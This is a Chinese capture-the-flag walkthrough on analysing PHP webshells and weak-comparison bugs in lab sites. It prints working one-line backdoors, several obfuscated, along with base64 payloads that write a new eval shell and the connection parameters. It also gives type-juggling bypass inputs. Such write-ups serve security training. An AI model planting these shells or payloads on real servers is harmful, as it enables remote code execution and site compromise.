WebShell代码分析溯源
第1题
下载网站源代码,查看后发现在 cn-right.php
文件中存在恶意代码:
<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>
参考了这篇文章:那些强悍的PHP一句话后门 后,执行代码生成一句话脚本,连上后拿下过关flag。
url: http://xxx.xxx.xxx.xxx/cn-right.php?POST=assert
post data: GET=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}
后面朋友告知可以直接连,好尴尬:
第二题
依然下载网页代码,打开后发现首页存在可疑代码:
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?>
和第一题差不多,先写入一句话脚本然后连接上去后,找到flag文件。
url: http://xxx.xxx.xxx.xxx/www/index.php
post data: assert=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}
第三题
下载源码后查找所有PHP后缀文件:
$ ag -g . --php
index.php
js/jquery1.42.min.php
includes/class-IXR-clientmulticall.php
includes/class-IXR-date.php
includes/class-IXR-client.php
includes/class-IXR-base64.php
发现 js 文件夹内存在一个可疑的 php 文件,内容:
<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116'); // 字符串拼接 assert
@$gg($_POST[get]);
?>
直接连地址 http://xxx.xxx.xxx.xxx/www/js/jquery1.42.min.php
,密码填写 get,拿到flag文件。
第四题
下载源代码后,在 hack
文件夹内发现可疑代码:
<?php
error_reporting(0);
$e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e));
?>
需要get参数配合才能连接,连地址 http://xxx.xxx.xxx.xxx/www/hack/bin.php?e=YXNzZXJ0
,密码填写 POST,拿到flag文件。
第五题
下载源码后查看至 Exception.php
文件首行发现异常:
<?php
error_reporting(0);
call_user_func('assert', $_REQUEST['assert']);
// ............
直接连地址 http://xxx.xxx.xxx.xxx/www/Exception.php
,密码填写 assert,拿到flag文件。
第六题
下载源码后查看目录,发现 Assets/upload/pic3.jpg.php
文件存在异常:
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['POST'],);
array_map(base64_decode($e), $arr);
?>
直接连地址 http://xxx.xxx.xxx.xxx/www/Assets/upload/pic3.jpg.php?e=YXNzZXJ0
,密码填写 POST,拿到flag文件。
第七题
下载源码查看文件,浏览至 random_int.php
文件发现首部异常:
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['POST']);
uasort($arr, base64_decode($e));
// ..........
直接连地址 http://xxx.xxx.xxx.xxx/www/random_int.php?e=YXNzZXJ0
,密码填写 POST,拿到flag文件。
还可以同样连接 random.php
这个文件,因为在 random.php
中函数不存在会去 require_once random_int.php
文件。
第八题
下载源码代码后,根据黑页日期找到同日期的修改文件:
class-wp-rest-comment-meta-style.php
文件存在可疑代码:
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
这里看到 $arr 数组2中含有正则的e符,直接用 preg_replace 函数配合e模式连接 http://xxx.xxx.xxx.xxx/www/fields/class-wp-rest-comment-meta-style.php?e=preg_replace
,输入密码 pass 拿到flag文件。
第九题
下载源码后定位到 pomo/no.php
文件内存在异常代码:
<?php
error_reporting(0);
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['REQUEST']);
register_shutdown_function
函数,用于注册一个会在php中止时执行的函数,是在脚本执行完成或提前退出时被调用。
连接地址 http://xxx.xxx.xxx.xxx/www/pomo/no.php?e=assert
,输入密码 pass 拿到flag文件。
第十题
下载源码后定位到 hack/static/css.php
文件内存在异常代码:
<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['GET']);
?>
与上题一样,连接地址 http://xxx.xxx.xxx.xxx/www/hack/static/css.php?e=assert
,输入密码 GET 拿到flag文件。
第十一题
下载PHP脚本分析里面的代码:
<?php if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");@fclose($_);}?>
- 当
$_GET[1]=='GET.fPZ87'
时,会向t.php
写入 webshell
<?php $_ = str_replace('ilo', 'ass', str_replace('vey', 'ert', $_GET[2]));@$_($_POST[1]);
这里会将接收的 $_GET[2]
参数字符串成 assert
,所以最终连接地址:http://xxx.xxx.xxx.xxx/include/t.php?2=ilovey
,输入密码 1 拿到KEY.txt文件。
PHP代码分析溯源
第一题
页面直接显示了一段代码:
<?php @$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");${$__}[!$_](${$___}[$_]);
我们先将它还原成正常代码。
<?php
$_GET[!1]($_POST[1]);
很明显的一句话脚本,可是连接的时候依然报 500 错误,为什么呢?因为在 PHP 语法中,数组就没有 [!1]
这种东西。
将他看作成一个变量,也就是 0,最终连接地址 http://xxx.xxx.xxx.xxx/b.php
,输入密码 1 拿到flag文件。
第二题
下载网页源代码,代码里面用的是 PHP 弱类型比较提交参数 MD5 值,直接百度一个明文转 MD5 后是 0eXXXXXXXX
开头的字符串提交即可拿到flag。
第三题
代码看起来和上一题差不多:
<?php
error_reporting(0);
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
if(noother_says_correct($_POST['pass'])){
/**
此处省略
**/
} else{
echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}
?>
这里的 noother_says_correct()
函数用于验证提交参数规则,及弱类型参数比较是否正确。
- 循环接收参数,依次取出每个字符的 ASCII 码,验证是否在1-9之间
- 弱类型比较是否等于 54975581388
这个有个 PHP 的特性,当字符串在与数字比较时会自动转换为数字,而字符串是0x开头时会将此字符串解析成为十进制。这就需要我们提交的参数是一个 16 进制数了。
$ php -r 'echo "0x".dechex(54975581388);'
0xccccccccc
所以直接提交 0xccccccccc
拿到flag。